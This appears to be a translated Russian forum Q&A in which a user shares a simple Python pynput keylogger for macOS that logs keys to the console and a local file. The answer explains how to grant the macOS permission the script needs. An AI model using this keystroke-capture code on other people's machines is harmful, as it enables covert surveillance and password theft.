Python3 Кейлоггер для MacOs: скрипт не работает - PullRequest
0 голосов
/ 07 апреля 2020

Я пытаюсь запустить простой кейлоггер, используя Python3 на MacOs. Ниже приведен сценарий.

import pynput
from pynput.keyboard import Key, Listener



count = 0
keys = []

def on_press(Key):
    global keys, count
    print("hello")
    keys.append(Key)
    count += 1
    print(f"{Key} pressed")

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

# hello this is a test for the keylogger.

def write_file(keys):
    with open("logger.txt", "a") as f:
        for key in keys:
            f.write(str(key))



def on_release(Key):
    if Key == Key.esc:
        return False




with Listener(on_press= on_press, on_release = on_release) as listener:
    listener.join()

Код отображает, какая клавиша нажата на консоли, а также через каждые несколько периодов сохраняет эти клавиши в файле. Когда я запускаю скрипт с использованием sudo, при нажатии некоторых клавиш ничего не происходит. Мне не показывают, какие клавиши нажимаются на консоли, и файл также пуст.

Я не могу понять, в чем проблема. Я предполагаю, что это связано с ограничениями MacOs для предоставления полного доступа к клавиатуре. Но я не уверен.

Пожалуйста, кто-нибудь, помогите мне в этом.

1 Ответ

0 голосов
/ 08 апреля 2020

Я нашел решение в связанном вопросе. Из соображений безопасности MacOS не разрешает ведение журнала по умолчанию. Поэтому вам нужно включить его вручную:

  1. Настройки -> Безопасность и конфиденциальность
  2. Нажмите на вкладку Конфиденциальность
  3. Нажмите + и удерживайте CMD + SHIFT +. (чтобы вы могли видеть скрытые файлы / папки)

  4. Перейдите в / usr / local / bin или где бы у вас не было установлено Python 1014 *

  5. Нажмите OK .

цитируется с этот ответ

...